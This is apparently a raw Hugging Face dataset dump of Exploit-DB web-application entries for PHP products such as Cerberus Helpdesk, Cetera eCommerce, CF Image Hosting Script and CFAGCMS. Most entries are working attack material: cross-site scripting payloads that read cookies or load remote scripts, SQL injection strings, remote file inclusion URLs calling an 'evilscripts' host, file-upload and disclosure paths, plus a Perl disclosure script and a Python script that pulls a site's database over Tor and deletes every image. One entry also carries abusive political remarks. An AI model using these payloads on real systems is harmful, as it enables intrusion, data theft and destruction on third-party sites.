deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27153
Description: Cerberus Helpdesk 2.7 - 'Clients.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-31
Author: preben@watchcom.no

Exploit:
source: https://www.securityfocus.com/bid/16439/info

Cerberus Helpdesk is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/tts2/clients.php?mode=search&sid=<sidvalue>&contact_search=<script>alert('c')</script>
Exploit-DB #29222
Description: Cerberus Helpdesk 2.x - 'Spellwin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-04
Author: En Douli

Exploit:
source: https://www.securityfocus.com/bid/21423/info

Cerberus Helpdesk is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/includes/elements/spellcheck/spellwin.php?pspell_loaded=1&js=<http://www.example2.com/cerberus/includes/elements/spellchec
k/spellwin.php?pspell_loaded=1&js=><script src=JS_FILE></script>
Exploit-DB #28826
Description: Cerberus Helpdesk 3.2.1 - 'Rpc.php' Unauthorized Access
Type: webapps
Platform: php
Date: 2006-10-18
Author: jonepet

Exploit:
source: https://www.securityfocus.com/bid/20598/info

Cerberus Helpdesk is prone to an unauthorized-access vulnerability because the application fails to authenticate users properly, resulting in an improper-access validation. A workaround is available.

An attacker can exploit this vulnerability to retrieve other users' arbitrary ticket data. Information obtained can lead to a compromise of other users' confidential information.

Version 3.2.1 is affected by this issue; other versions may be vulnerable as well.

http://www.example.com/rpc.php?cmd=display_get_requesters&id=[ticket#]
Exploit-DB #3243
Description: Cerulean Portal System 0.7b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-31
Author: Mehmet Ince

Exploit:
-----------------------------------------------

Cerulean Portal System (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz - xoron.info

-----------------------------------------------

Code: 

include ($phpbb_root_path . 'portal/config.' . $phpEx);

-----------------------------------------------

POC:

www.[target].com/[script_pat]/portal/portal.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

Exploit: Exploit coded by xoron..!

HTML
www.xoron.info/bugs/ceruleanportalsystem-html.txt

PERL
www.xoron.info/bugs/ceruleanportalsystem-perl.txt

-----------------------------------------------

download: http://sourceforge.net/projects/cerulean/

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn

Thanx: str0ke, kacper

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-31]
Exploit-DB #28017
Description: CEScripts (Multiple Scripts) - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-13
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18402/info

CEScripts scripts are prone to multiple cross-site scripting vulnerabilities because they fail to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect CEScripts Car Classifieds, Event Registration(all versions), Fast Menu Restaurant Ordering v1.0, and Home Rental Script (all versions); other scripts may also be vulnerable.

http://www.example.com/car_classifieds/listings/index.php?pag=car_view&car_id=32&offset=0&ord=1&make_id=63&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>
http://www.example.com/car_classifieds/listings/index.php?pag=car_list&ord=1&make_id=63&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>
http://www.example.com/rsvp3/view-event-details.php?event_id=74&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>
http://www.example.com/rsvp3/event-registration.php?select_events=74&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>&submit=Register
http://www.example.com/fastmenu/index.php?pag=gift_certificate&sel_menu=5&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>
http://www.example.com/home_rental/index.php?pag=list_properties&act=basket-add&id=17&type=room&ofs=0&day=11&month=6&year=2006&night=1&hotel_id=&show=&sel_menu=&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>
Exploit-DB #35106
Description: Cetera eCommerce - 'banner.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-11
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/45374/info

Cetera eCommerce is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Cetera eCommerce version 14.0 is vulnerable; other versions may also be affected. 

http://www.example.com/cms/templats/banner.php?bannerId=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #34387
Description: Cetera eCommerce - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-28
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/42059/info

Cetera eCommerce is prone to multiple cross-site-scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Cetera eCommerce version 14.0 is vulnerable; other versions may also be affected. 

http://www.example.com/cms/templates/search.php?q=111&sobject=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/templates/bannerlist.php?deleted=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/templates/bannerlist.php?errorMessage=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/templates/banner.php?errorMessage=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/account/?messageES=s9&messageParam[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/index.php?messageES=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/index.php?messageES=s9&messageParam[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #35508
Description: Cetera eCommerce - Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2011-03-27
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/47044/info

Cetera eCommerce is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Cetera eCommerce versions 15.0 and prior are vulnerable. 

Cross Site Scripting:

http://www.example.com/catalog/%3Cscript%3Ealert(document.cookie)%3C/script%3E/
http://www.example.com/vendors/%3Cscript%3Ealert(document.cookie)%3C/script%3E/
http://www.example.com/catalog/cart/%3Cscript%3Ealert(document.cookie)%3C/script%3E/
http://www.example.com/news/%3Cscript%3Ealert(document.cookie)%3C/script%3E/
http://www.example.com/news/[PII_REDACTED]030/%3Cscript%3Ealert(document.cookie)%3C/script%3E/
http://www.example.com/%3Cscript%3Ealert(document.cookie)%3C/script%3E/

This vulnerability have appeared in version 15.0. Vulnerability takes place
at page with error 404, so it'll work as at this URL, as at other URLs,
which lead to non-existent pages.

SQL Injection:

http://www.example.com/catalog/(version()=5.1)/
http://www.example.com/catalog/cart/.+benchmark(100000,md5(now()))+./
Exploit-DB #34386
Description: Cetera eCommerce - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-07-28
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/42058/info

Cetera eCommerce is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues can allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Cetera eCommerce 14.0 and previous versions are vulnerable; other versions may also be affected. 

The following example URIs are given:

http://www.example.com/cms/templates/banner.php?bannerId=1%20and%20version()=5
http://www.example.com/cms/templates/bannerlist.php?page=-1
Exploit-DB #12472
Description: CF Image Host 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-01
Author: The.Morpheus

Exploit:
###########################################################

Download:   http://codefuture.co.uk/counter/?id=22
Title : CF Image Host Remote File Inclusion Vulnerability
Author: The.Morpheus
Contact:  -
Thank`s: Herkese :)
Greetz:  Megaturks.Net | Spyturks.Com
demo :http://codefuture.co.uk/projects/imagehost1.1/demo/
========================================================================

Description:

Xploit : Upload Vulnerability


  Step 1:Shell Jpg,Gif
  Step 2 : upload

Demo : http://server/upload.php
Exploit-DB #33918
Description: CF Image Hosting Script 1.1 - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-01
Author: The.Morpheus

Exploit:
source: https://www.securityfocus.com/bid/39870/info

CF Image Hosting Script is prone to an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

CF Image Hosting Script 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/upload.php
Exploit-DB #14829
Description: CF Image Hosting Script 1.3 - 'settings.cdb' Information Disclosure
Type: webapps
Platform: php
Date: 2010-08-28
Author: Dr.$audi

Exploit:
### Title: CF Image Hosting script 1.3 (settings.cdb) Information Disclosure Vulnerability ###
#######################################
#
# By: Dr.$audi
# Home: sa-virus.com
# Email: Mon7b6@gmail.com
# Date: aug 29th 2010
# Greez to: all sa-virus and v4-team members .
#
#######################################
#
# Script: CF Image Hosting script v 1.3
# HomePage: www.codefuture.co.uk/projects/imagehost1.3/
#
#######################################
#
# Exploit:
# 
# http://server/upload/data/settings.cdb
#
#######################################
Exploit-DB #14837
Description: CF Image Hosting Script 1.3.8 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-29
Author: FoX HaCkEr

Exploit:
=================================
CF Image Hosting Script <===remote file inclode 
=================================
# CF Image Hosting Script <===remote file inclode 

# Date: 2010-08-29

# Author : FoX HaCkEr

#Contact : MKQ@HoTmAiL.CoM

# SiTe : www.sec4ever.com

# Download: http://codefuture.co.uk/projects/imagehost

# Version:1.3.8
  
# Google dork: [sorry]

======================================================================================================
exploit :

http://localhost/cf_image_host_v1.3.81/inc/config.php?settings[SET_LANGUAGE]=[EV!L]

=======================================================================================================

Gr33ts: Mr.MoDaMeR & SILVER FoX & Z7FAN HaCkEr & KinG oF CnTroL & MadjiX & Ma3sTr0-Dz
Lagripe-Dz & Shi6oN HaCkEr & ALL Members sec4ever & ALL MY Friend in  MsN & ALL Members Sa-HaCkE
Exploit-DB #17927
Description: CF Image Hosting Script 1.3.82 - File Disclosure
Type: webapps
Platform: php
Date: 2011-10-04
Author: bd0rk

Exploit:
#!/usr/bin/perl

#CF Image Hosting Script 1.3.82 File Disclosure Exploit
#Bugfounder and Exploitcoder: bd0rk
#Contact: www.sohcrew.school-of-hack.net
#eMail: bd0rk[at]hackermail.com
#Affected-Software: CF Image Hosting Script 1.3.82
#Vendor: http://www.phpkode.com
#Download: http://phpkode.com/download/p/CF_Image_Hosting_v1.3.zip

#Vulnerable Code in /inc/tesmodrewrite.php line 28
#echo "Current URL: " . $_GET['q'];

#Tested on Ubuntu-Linux

use LWP::Simple;
use LWP::UserAgent;

sub help()
{
print "Sploit: perl $0 [targethost] /dir/\n";
}

print "\nCF Image Hosting Script 1.3.82 File Disclosure Exploit\n";
print "\ By bd0rk bd0rk[at]hackermail.com\n";

($inc, $targethost, $dir, $file,) = @ARGV;

$inc="/inc/";
$file="tesmodrewrite.php?q=[APossibleFile]";
my $url = "http://".$targethost.$dir.$inc.$file;

my $useragent = LWP::UserAgent->new();
my $req = $useragent->get($url,":content_file"=>"[APossibleFile]");

if ($req->is_success)

{

print "$url <= H3h3!\n\n";
print "etc/passwd\n";

exit();
}
else
{
print "Sploit $url Mhhh!\n[!]".$req->status_line.\n";

exit();
}
Exploit-DB #46094
Description: CF Image Hosting Script 1.6.5 - (Delete all Pictures) Privilege Escalation
Type: webapps
Platform: php
Date: 2019-01-08
Author: David Tavarez

Exploit:
#!/usr/bin/env python
"""
Exploit Title: CF Image Hosting Script 1.6.5: Delete database
Google Dork: "Powered By CF Image Hosting script"
Date: 01/08/2019
Exploit Author: David Tavarez
Vendor Homepage: https://davidtavarez.github.io/
Software Link: http://forum.codefuture.co.uk/showthread.php?tid=73141
Version: 1.6.5
Tested on: Debian 9.6

By default, the database can be downloaded by any user. After decoding
the file the database should be unserialize. The DELETE ID is stored
in Plain Text, this ID can be use to delete a picture.

$ virtualenv cfexploit
$ source cfexploit/bin/activate
$ pip install phpserialize
$ pip install PySocks
$ python exploit.py http://127.0.0.1:8000

[-] Target: http://127.0.0.1:8000/
[-] Downloading the database...
[+] Decoding database...
[-] Finding pictues...
[+] Pictures found: 3
[+] Ready... let's do this! Deleting all pictures...
[+] Done.

"""
import phpserialize
import base64

import socks
import socket

import sys


def create_connection(address, timeout=None, source_address=None):
    sock = socks.socksocket()
    sock.connect(address)
    return sock


socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)

# patch the socket module
socket.socket = socks.socksocket
socket.create_connection = create_connection

import urllib2

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "ERROR: Provide a valid URL"
        sys.exit(-1)
    url = sys.argv[1]

    ids = []

    try:
        print "[+] Target: {}".format(url)
        print "[+] Downloading the database..."
        response = urllib2.urlopen("{}/upload/data/imgdb.db".format(url))
        print "[+] Decoding database..."
        with open("imgdb.db.txt", "w+") as f:
            f.write(base64.b64decode(response.read()))
        print "[+] Finding pictues..."
        for key, value in phpserialize.load(file("imgdb.db.txt")).iteritems():
            ids.append(value.get('deleteid'))
        print "[+] Pictures found: {}".format(len(ids))
        print "[+] Ready... let's do this! Deleting all pictures..."
        for id in ids:
            urllib2.urlopen("{}/?d={}".format(url, id))
        print "[+] Done."

    except urllib2.URLError, ex:
        if ex.reason == "Forbidden":
            print "[-] ERROR: this version is not vulnerable."
    except EOFError, e:
        raise e
Exploit-DB #9710
Description: CF Shopkart 5.3x - 'itemID' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-17
Author: learn3r hacker

Exploit:
#####################################
#   CF ShopKart SQL vulnerability   #
#   By learn3r hacker from Nepal    #
#     damagicalhacker@gmail.com     #
#####################################

Product name: CF ShopKart
Version: 5.4 beta or may be lower
Product home: www.cfshopkart.com

Affected variable: item

SQLi examples:
http://demo.cfshopkart.com/index.cfm?carttoken=E48384J[PII_REDACTED]02&action=ViewDetails&itemid=-928+union+all+select+concat(@@version,user(),database()),2--+

Note that the results of second query are seen in the <title> tag...


Greetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!

# milw0rm.com [2009-09-17]
Exploit-DB #10561
Description: CFAGCMS - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-19
Author: cr4wl3r

Exploit:
################################################################################
## Exploit Title: CFAGCMS SQL Injection Exploit                               ##
## Date: 20-12-2009                                                           ##
## Author: cr4wl3r                                                            ##
## Software Link: http://sourceforge.net/project/showfiles.php?group_id=197936##
## Version: N/A                                                               ##
## Tested on: GNU/LINUX                                                       ##
################################################################################


~ Code [right.php]

$title  = $_GET['title'];
$query  = "SELECT * FROM pages WHERE title = '".$title."'";
$result = mysql_query($query);

~ PoC

[cfagcms_path]/right.php?title=[SQL]
Exploit-DB #7459
Description: CFAGCMS 1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-12-14
Author: BeyazKurt

Exploit:
Author : BeyazKurt - Bey4zKurt@Gmail.Com

Script : CFAGCMS
Download : http://sourceforge.net/project/showfiles.php?group_id=197936

Vuln :

Page themes/default/index.php, Line 15-16 :

<?php include($main);?>
<?php include($right);?>

Site.Com/cfagcms/themes/default/index.php?main=SHELL
Site.Com/cfagcms/themes/default/index.php?right=SHELL

SHQÄ°PTAR!
Siyasetle ilgili biÅŸi sÃ¶liyimmi :p
 
FENERBAHÃ‡EE (H)

# milw0rm.com [2008-12-14]
Exploit-DB #7483
Description: CFAGCMS 1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-15
Author: ZoRLu

Exploit:
cfagcms Beta 1 sql inj.
 
download: http://mesh.dl.sourceforge.net/sourceforge/cfagcms/cfagcms.zip
 
Discovered By: ZoRLu
 
z0rlu.blogspot.com
 
trt-turk@hotmail.com    
 
date: 23.10.2008
 
N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
------------------------------------------------------------------
 
exploit:
 
http://localhost/cfagcms/right.php?title=[SQL]
 
[SQL]=
 
ZoRLu'+union+select+0,concat(user(),0x3a,database(),0x3a,version()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
 
------------------------------------------------------------------
 
thanks: str0ke
 
a.q kpss

# milw0rm.com [2008-12-15]
Exploit-DB #31408
Description: Cfnetgs 0.24 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-17
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28267/info

Cfnetgs is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Cfnetgs 0.24 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/photo/index.php?directory="><script>alert(document.cookie)</script>
Exploit-DB #3874
Description: CGX 20050314 - 'pathCGX' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: GoLd_M

Exploit:
# CGX 2005-03-14 (pathCGX) Remote File Include Vulnerablites
# D.Script: http://codigolivre.org.br/frs/?group_id=413&release_id=1978
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/inc/mtdialogo.php?pathCGX=Shell
# Exploit:[Path]/inc/ltdialogo.php?pathCGX=Shell
# Exploit:[Path]/inc/login.php?pathCGX=Shell
# Exploit:[Path]/inc/logingecon.php?pathCGX=Shell
# All Files in : /frm/ & /sql/ & /cns/
# Greetz To: Tryag-Team ...$$

# milw0rm.com [2007-05-08]
Exploit-DB #11747
Description: CH-CMS.ch 2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-03-15
Author: EL-KAHINA

Exploit:
========================================================================================
| ( Title    ) CH-CMS.ch-V2 Upload Vulnerability
| ( Author   ) El-Kahina
| ( email    ) please forgive me                                                                                                                    $
| ( Web Site ) http://kewlshare.com/dl/f1b6b4d587ab/95_Final_2_bugfix_install.rar.html                                                              $
| ( Script   ) copyright 2007/08 by grillmeister | CH-CMS.ch-V2 | design by King-G4mer
| ( Tested on) Lunix Fran&#65533;ais v.(9.10 Ubuntu)
| ( Bug      ) Upload
|
======================      Exploit By EL-Kahina       =================================
 # Exploit  :

 1 - http://127.0.0.1/Final/login/ava_upl.php
                      or
 2 - http://127.0.0.1/Final/login/ava_upl2.php

 Stored in: avatar/

==========================================
Greetz :
Exploit-db Team :
(loneferret+Exploits+dookie2000ca)
all my friend :
(Dz-Ghost Team ) im indoushka's sister
--------------------------------------------------------------------------------------------------------------
Exploit-DB #33922
Description: CH-CMS.ch 2 - Multiple Arbitrary File Upload Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-15
Author: EL-KAHINA

Exploit:
source: https://www.securityfocus.com/bid/39888/info

CH-CMS.ch is prone to multiple arbitrary-file-upload vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

CH-CMS.ch 2 is vulnerable; other versions may also be affected. 

http://www.example.com/Final/login/ava_up1.php
http://www.example.com/Final/login/ava_up12.php